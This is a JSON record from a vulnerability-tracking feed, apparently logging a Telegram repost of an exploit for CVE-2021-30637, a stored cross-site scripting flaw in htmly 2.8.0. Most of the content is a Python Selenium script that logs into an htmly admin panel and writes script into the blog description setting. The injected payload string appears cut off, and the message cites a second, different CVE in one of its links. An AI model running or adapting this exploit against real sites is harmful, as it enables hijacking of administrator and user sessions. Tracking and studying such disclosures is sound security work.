{"uuid": "155bc11a-b8f9-4817-ace8-976d82220ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30637", "type": "seen", "source": "https://t.me/hacking_Attack/5064", "content": "Exploit Collector\nhtmly 2.8.0 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png \nhtmly version 2.8.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 1f7856dd557f345879af5eb7735315e1\n\nDownload\n# Exploit Title: htmly 2.8.0 allows stored XSS\n# Authors: @nu11secur1ty & G.Dzhankushev\n# Date: 04.15.2021\n# Vendor: htmly\n# Link: https://github.com/danpros/htmly\n# CVE: CVE-2021-30637\n\n[+] Exploit Source:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929\n\n[Exploit Program Code]\n\n#!/usr/bin/python3\n# Authors: @nu11secur1ty, G,Dzhankushev\n# CVE-2021-30637\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://localhost/htmly/login\"\n\n#enter your login username\nusername=\"nu11secur1ty\"\n\n#enter your login password\npassword=\"password\"\n\n#enter the element for username input field\nelement_for_username=\"user\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"submit\"\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit .ini\nbrowser.get((\"http://localhost/htmly/admin/config\"))\nbrowser.execute_script(\"document.querySelector('[name=\\\"-config-blog.description\\\"]').innerText\n= '1 '\")\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('.btn.btn-primary').click()\")\n\nprint(\"If everything is ok, please paste this code in to the Users in\nsection First Name\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\n---------------------------------\n\n# Exploit Title: htmly 2.8.0 allows stored XSS\n# Date: 04.15.2021\n# Exploit Authotr @nu11secur1ty\n# Exploit Debugging: G.Dzhankushev\n# Vendor Homepage: htmly\n# Software Link: https://github.com/danpros/htmly\n# Video: https://www.youtube.com/watch?v=xKRQZYqVlS4\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-30637\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:22.825594Z"}